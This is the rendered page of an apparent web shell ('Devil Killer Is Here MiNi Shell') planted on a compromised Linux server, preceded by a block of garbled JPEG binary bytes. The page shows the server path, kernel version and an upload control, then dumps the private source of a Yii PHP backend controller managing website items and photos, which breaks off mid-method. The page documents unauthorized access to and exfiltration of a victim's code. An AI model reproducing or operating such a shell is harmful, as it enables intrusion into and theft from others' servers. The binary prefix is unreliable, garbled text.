JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/WebsitesitemsController_old.php

<?php

namespace backend\controllers;

use Yii;
use common\models\WebsitesPages;
use common\models\WebsitesItems;
use common\models\WebsitesItemsTranslations;
use common\models\WebsitesItemsPhotos;
use common\models\WebsitesItemsPhotosTranslations;
use common\models\WebsitesItemsAttachments;
use common\models\WebsitesItemsAttachmentsTranslations;
use common\models\WebsitesPagesCategories;
use backend\models\WebsitesItemsSearch;
use yii\data\ActiveDataProvider;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

/**
 * WebsitesitemsController implements the CRUD actions for WebsitesItems model.
 */
class WebsitesitemsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;    

    /**
     * Lists all WebsitesItems models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelWebsitePage = $this->findModelPage($id);
     
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsitePage->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idMainLanguage = $modelWebsitePage->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['WebsitesItemsSearch']['id_page'] = $modelWebsitePage->id_page; 
        
        $searchModel = new WebsitesItemsSearch();
        $dataProvider = $searchModel->search($queryParams, $idMainLanguage);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelWebsitePage' => $modelWebsitePage
        ]);
    }

    /**
     * Displays a single WebsitesItems model.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
                
        if(!Yii::$app->user->can('viewWebsites', ['model' => $model->page->website])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));        
        } 
        
        $idMainLanguage = $model->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();  
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $model->page->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $modelsTranslations = $model->getTranslations()->indexBy('id_language')->all();
        
        $modelsPhotos = $model->getPhotos()->with(['translations' => function($q) { $q->indexBy('id_language'); }])->orderBy('photo_order')->all();
        $modelsAttachments = $model->getAttachments()->with(['translations' => function($q) { $q->indexBy('id_language'); }])->orderBy('attachment_order')->all();
        
        return $this->render('view', [
            'model' => $model,
            'idMainLanguage' => $idMainLanguage, 
            'websiteLanguages' => $websiteLanguages,             
            'modelsTranslations' => $modelsTranslations,
            'modelsPhotos' => $modelsPhotos,
            'modelsAttachments' => $modelsAttachments
        ]);
    }

    /**
     * Creates a new WebsitesItems model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate($id)
    {
        $modelWebsitePage = $this->findModelPage($id);
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsitePage->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
     
        $idMainLanguage = $modelWebsitePage->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();  
        if(empty($idMainLanguage)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index', 'id' => $modelWebsitePage->id_page]);
        }
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $modelWebsitePage->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $scenarioPrefix = $modelWebsitePage->module->getScenarioPrefix();
        
        $model = new \backend\models\WebsitesItems(['scenario' => $scenarioPrefix.'Create', 'id_page' => $modelWebsitePage->id_page]);
        $model->datetime_start = date('Y-m-d H:i');
        
        $modelsTranslations = [];
        foreach($websiteLanguages as $idLanguage => $languageName) {
            $modelsTranslations[$idLanguage] = new WebsitesItemsTranslations(['scenario' => $scenarioPrefix.($idLanguage === $idMainLanguage ? 'Create' : 'CreateOptionally'), 'id_language' => $idLanguage]); 
        }        
        
        $categoriesTree = WebsitesPagesCategories::getJSONCategoryTree($modelWebsitePage->id_page, $idMainLanguage, []);        
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations, 
            'modelWebsitePage' => $modelWebsitePage,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages,
            'categoriesTree' => $categoriesTree
        ];

        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_page', 'id_country', 'id_region', 'datetime_start', 'datetime_end', 'listCategories']), \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_language']));
        }
        
        if(Yii::$app->request->getIsPost()) {             
            if(!$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $model->id_page = $modelWebsitePage->id_page;
            
            $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveCategories();
            
            if($flag && !empty($modelsTranslations)) {
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    $modelTranslation->id_language = $idLanguage;
                    $modelTranslation->id_item = $model->id_item;
                }
                
                if(!\yii\base\Model::validateMultiple($modelsTranslations)) {                    
                    $errorsFromModelsTranslations = [];
                    if(!empty($modelsTranslations)) {
                        foreach($modelsTranslations as $modelTranslation) {
                            if($modelTranslation->hasErrors()) {
                                foreach($modelTranslation->getErrors() as $error) {
                                    $errorsFromModelsTranslations[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsTranslations);
                    return $this->render('create', $outputParams);
                }
                
                foreach($modelsTranslations as $modelTranslation) {
                    if(!$modelTranslation->isEmpty() && !$modelTranslation->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('create', $outputParams);
                } 
                $transaction->commit(); 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_item]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing WebsitesItems model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionUpdate($id)
    {        
        $model = \backend\models\WebsitesItems::findOne($id);
        if($model === null) {
            throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
        }        
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        $idMainLanguage = $model->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        if(empty($idMainLanguage)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_item]);
        }
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $model->page->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $scenarioPrefix = $model->page->module->getScenarioPrefix();
        $model->setScenario($scenarioPrefix.'Update');
        
        $modelsTranslations = $model->getTranslations()->indexBy('id_language')->all();
        foreach($websiteLanguages as $idLanguage => $languageName) {
            if(isset($modelsTranslations[$idLanguage])) {
                $modelsTranslations[$idLanguage]->setScenario($scenarioPrefix.($idLanguage === $idMainLanguage ? 'Update' : 'UpdateOptionally'));
            } else {
                $modelsTranslations[$idLanguage] = new WebsitesItemsTranslations(['scenario' => $scenarioPrefix.($idLanguage === $idMainLanguage ? 'Create' : 'CreateOptionally')]);
                $modelsTranslations[$idLanguage]->id_language = $idLanguage;
                $modelsTranslations[$idLanguage]->id_item = $model->id_item;
            }
        }
        
        $modelsPhotos = $model->getPhotos()
                ->with([
                    'translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('photo_order')
                ->indexBy('id_photo')
                ->all(); 
        $modelsPhotosTranslations = [];
        if(!empty($modelsPhotos)) {
            foreach($websiteLanguages as $idLanguage => $languageName) {
                foreach($modelsPhotos as $idPhoto => $modelPhoto) {
                    if(isset($modelPhoto->translations[$idLanguage])) {
                        $modelPhoto->translations[$idLanguage]->setScenario($idLanguage === $idMainLanguage ? 'update' : 'updateOptionally');
                        $modelsPhotosTranslations[$idPhoto.'_'.$idLanguage] = $modelPhoto->translations[$idLanguage];
                    } else {
                        $modelsPhotosTranslations[$idPhoto.'_'.$idLanguage] = new WebsitesItemsPhotosTranslations([
                            'scenario' => $idLanguage === $idMainLanguage ? 'update' : 'updateOptionally',
                            'id_photo' => $idPhoto,
                            'id_language' => $idLanguage
                        ]);
                    }
                }
            }
        }
        
        $checkedCategories = $model->getRelationsWithCategories()->select(['id_category'])->column();
        $categoriesTree = WebsitesPagesCategories::getJSONCategoryTree($model->page->id_page, $idMainLanguage, $checkedCategories, true);
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations, 
            'modelsPhotos' => $modelsPhotos,
            'modelsPhotosTranslations' => $modelsPhotosTranslations,
            'modelWebsitePage' => $model->page,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages,
            'categoriesTree' => $categoriesTree
        ];

        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_page', 'id_country', 'id_region', 'datetime_start', 'datetime_end', 'listCategories']), \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_language', 'id_item']));
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $oldImagePath = $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
            
//            var_dump($model->listCategories); exit;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveCategories();
            
            if($flag && !empty($modelsTranslations)) {
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    $modelTranslation->id_language = $idLanguage;
                    $modelTranslation->id_item = $model->id_item;
                }
                
                if(!\yii\base\Model::validateMultiple($modelsTranslations)) {                    
                    $errorsFromModelsTranslations = [];
                    if(!empty($modelsTranslations)) {
                        foreach($modelsTranslations as $modelTranslation) {
                            if($modelTranslation->hasErrors()) {
                                foreach($modelTranslation->getErrors() as $error) {
                                    $errorsFromModelsTranslations[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsTranslations);
                    return $this->render('update', $outputParams);
                }
                
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    if($modelTranslation->isEmpty()) {
                        if($modelTranslation->isNewRecord) {
                            unset($modelsTranslations[$idLanguage]);
                        } elseif($modelTranslation->delete() === false) {
                            $flag = false;
                            break;
                        }
                    } elseif(!$modelTranslation->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if ($flag) {
                $newImagePath = $model->saveImageFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('update', $outputParams);
                }  
                if(!empty($oldImagePath)) {
                    WebsitesItems::deleteImage($oldImagePath);
                }
                $transaction->commit(); 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_item]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing WebsitesItems model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     * @throws NotFoundHttpException if the model cannot be found
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->page->website])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));       
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $idWebsitePage = $model->id_page;
        
        if($model->delete() !== false) { 
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));   
        }

        return $this->redirect(['index', 'id' => $idWebsitePage]);
    }
    
    /**
     * Creates a new WebsitesItemsPhotos model.
     * 
     * @return mixed
     */
    public function actionUploadPhoto()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
                
        if(($modelItem = WebsitesItems::findOne(intval(Yii::$app->request->post('id_item')))) === null) {
            return ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelItem->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $idMainLanguage = $modelItem->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        if(empty($idMainLanguage)) {
            return ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        }
        
        $maxPhotoOrder = $modelItem->getPhotos()->select(['photo_order'])->max('photo_order');
        
        $model = new WebsitesItemsPhotos(['scenario' => 'create']);
        $model->id_item = $modelItem->id_item;
        
        $model->photo_order = intval($maxPhotoOrder) + 1;
        
        $model->file = \yii\web\UploadedFile::getInstancesByName('images');
        if(!$model->file) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')];
        } 
        if(is_array($model->file) && isset($model->file[0])) {
            $model->file = $model->file[0];
        }
        $model->filename = WebsitesItemsPhotos::createFileName($model->file->baseName, $model->file->extension);
            
        if(!$model->validate()) {
            return ['error' => implode(" | ", $model->getErrors())];
        }
            
        $newFilePath = $model->saveImageFile();
        if(!$newFilePath) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')];
        }
        
        if(!$model->save(false)) {
            WebsitesItemsPhotos::deleteImage($newFilePath);
            return ['error' => Yii::t('backend', 'Błąd podczas zapisu.')];
        }
        
        $modelTranslation = new WebsitesItemsPhotosTranslations(['scenario' => 'create']);
        $modelTranslation->id_photo = $model->id_photo;
        $modelTranslation->id_language = $idMainLanguage;
        $modelTranslation->title = '';
        
        if(!$modelTranslation->validate()) {
            WebsitesItemsPhotos::deleteImage($newFilePath);
            return ['error' => implode(" | ", $modelTranslation->getErrors())];
        }
        
        if(!$modelTranslation->save(false)) {
            WebsitesItemsPhotos::deleteImage($newFilePath);
            return ['error' => Yii::t('backend', 'Błąd podczas zapisu.')];
        }
        
        $output = [
            'initialPreview' => [
                $model->getImageUrl(true)
            ],
            'initialPreviewConfig' => [[
                'caption' => $model->filename,
                'width' => '120px', 
                'url' => '/websitesitems/delete-photo/'.$model->id_photo, 
                'key' => $model->id_photo, 
                'extra' => ['id' => $model->id_photo]
            ]]
        ];
        
        return $output;
    }
    
    /**
     * Deletes an existing WebsitesItemsPhotos model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeletePhoto($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        $output = [];        
        
        if(($model = WebsitesItemsPhotos::findOne($id)) === null) {
            $output = ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->item->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();
        
        if($flag !== false) {
            $modelsPhotos = WebsitesItemsPhotos::find()
                ->andWhere(['>', 'photo_order', $model->photo_order])
                ->andWhere(['id_item' => $model->id_item])
                ->andWhere(['!=', 'id_photo', $model->id_photo])
                ->all();
            if(!empty($modelsPhotos)) {                
                array_walk($modelsPhotos, function($modelPhoto, $key) use (&$flag) {
                    $modelPhoto->photo_order -= 1;
                    if(!$flag || !$modelPhoto->save(false)) {
                        $flag = false;
                    }
                });
            }
        }
                
        if($flag) {
            $transaction->commit();
        } else {
            $output = ['error' => Yii::t('backend', 'Błąd podczas usuwania danych.')];
            $transaction->rollBack();
        }
        
        return $output;
    }
    
    /**
     * Updates an existing WebsitesItemsPhotos models.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateGallery($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
                
        $postPhotos = Yii::$app->request->post('WebsitesItemsPhotos', []);
        $idsPostedPhotos = array_map('intval', array_keys($postPhotos));
        
        $modelsPhotos = $model->getPhotos()
                ->with([
                    'translations' => function($q) {
                        $q->indexBy('id_language');
                    }
                ])->orderBy('photo_order')
                ->indexBy('id_photo')
                ->all();        
        if(empty($modelsPhotos)) {
            return $this->redirect(['update', 'id' => $model->id_item]);
        }
        foreach($modelsPhotos as $key => $modelPhoto) {
            $modelPhoto->setScenario('update');
        }
        
        $idMainLanguage = $model->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        if(empty($idMainLanguage)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_item]);
        }
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $model->page->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $modelsPhotosTranslations = [];
        foreach($websiteLanguages as $idLanguage => $languageName) {
            foreach($modelsPhotos as $idPhoto => $modelPhoto) {
                if(isset($modelPhoto->translations[$idLanguage])) {
                    $modelPhoto->translations[$idLanguage]->setScenario($idLanguage === $idMainLanguage ? 'update' : 'updateOptionally');
                    $modelsPhotosTranslations[$idPhoto.'_'.$idLanguage] = $modelPhoto->translations[$idLanguage];
                } else {
                    $modelsPhotosTranslations[$idPhoto.'_'.$idLanguage] = new WebsitesItemsPhotosTranslations([
                        'scenario' => $idLanguage === $idMainLanguage ? 'update' : 'updateOptionally',
                        'id_photo' => $idPhoto,
                        'id_language' => $idLanguage
                    ]);
                }
            }
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && !empty($idsPostedPhotos) && \yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsPhotosTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validateMultiple($modelsPhotos, ['id_item', 'photo_order']), \yii\bootstrap\ActiveForm::validateMultiple($modelsPhotosTranslations, ['id_photo', 'id_language', 'title', 'description']));
        }
                
        if(Yii::$app->request->getIsPost()) {
            if((!empty($idsPostedPhotos) && !\yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) || (!empty($modelsPhotosTranslations) && !\yii\base\Model::loadMultiple($modelsPhotosTranslations, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return Yii::$app->getResponse()->redirect(['websitesitems/update', 'id' => $model->id_item], 302, false);
            }
            
            if(!empty($idsPostedPhotos) && !\yii\base\Model::validateMultiple($modelsPhotos)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return Yii::$app->getResponse()->redirect(['websitesitems/update', 'id' => $model->id_item], 302, false);
            }
            
            if(!empty($idsPostedPhotos) && !\yii\base\Model::validateMultiple($modelsPhotosTranslations)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return Yii::$app->getResponse()->redirect(['websitesitems/update', 'id' => $model->id_item], 302, false);
            }
            
            $transaction = Yii::$app->db->beginTransaction();            
            
            $flag = true;

            foreach($modelsPhotos as $key => $modelPhoto) {
                if(!in_array($modelPhoto->id_photo, $idsPostedPhotos)) {
                    $flag = $modelPhoto->delete();
                    unset($modelsPhotos[$key]);
                } else {
                    $flag = $modelPhoto->save(false);
                    foreach($websiteLanguages as $idLanguage => $languageName) {
                        if(!isset($modelsPhotosTranslations[$modelPhoto->id_photo.'_'.$idLanguage])) {
                            continue;
                        }
                        $modelPhotoTranslation = $modelsPhotosTranslations[$modelPhoto->id_photo.'_'.$idLanguage];
                        if($modelPhotoTranslation->isEmpty()) {
                            if($modelPhotoTranslation->isNewRecord) {
                                unset($modelsPhotosTranslations[$modelPhoto->id_photo.'_'.$idLanguage]);
                            } elseif($modelPhotoTranslation->delete() === false) {
                                $flag = false;
                                break;
                            }
                        } elseif(!$modelPhotoTranslation->save(false)) {
                            $flag = false;
                            break;
                        }
                    }                    
                }

                if($flag === false) {
                    break;
                }
            }
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        } 
        
        return Yii::$app->getResponse()->redirect(['websitesitems/update', 'id' => $model->id_item], 302, false);
    }
    
    /**
     * Creates a new WebsitesItemsAttachments model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreateAttachment()
    {        
        $modelItem = $this->findModel(intval(Yii::$app->request->get('id_item')));
        
